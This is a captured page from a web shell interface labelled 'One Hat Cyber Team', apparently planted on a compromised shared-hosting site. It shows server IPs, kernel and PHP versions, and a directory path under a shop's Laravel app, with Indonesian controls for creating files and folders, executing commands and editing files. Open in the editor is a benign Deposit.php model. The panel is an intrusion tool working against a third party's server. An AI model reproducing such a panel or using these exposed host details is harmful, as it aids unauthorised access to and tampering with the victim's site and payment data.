One Hat Cyber Team
Your IP :
3.15.239.31
Server IP :
162.241.123.123
Server :
Linux sh016.hostgator.in 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Server Software :
Apache
PHP Version :
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home1
/
saicsazq
/
smhtechlabs.com
/
shop
/
core
/
app
/
Edit File:
Deposit.php
<?php namespace App; use Illuminate\Database\Eloquent\Model; class Deposit extends Model { protected $table = 'deposits'; protected $guarded = ['id']; protected $casts = [ 'detail' => 'object' ]; public function user() { return $this->belongsTo(User::class); } public function gateway() { return $this->belongsTo(Gateway::class, 'method_code', 'code'); } // scope public function scopeGateway_currency() { return GatewayCurrency::where('method_code', $this->method_code)->where('currency', $this->method_currency)->first(); } public function scopeBaseCurrency() { return $this->gateway->crypto == 1 ? 'USD' : $this->method_currency; } public function scopePending() { return $this->where('order_number',null)->where('status', 2); } public function scopePendingPayment() { return $this->where('order_number', '!=', null)->where('status', 2); } }
Simpan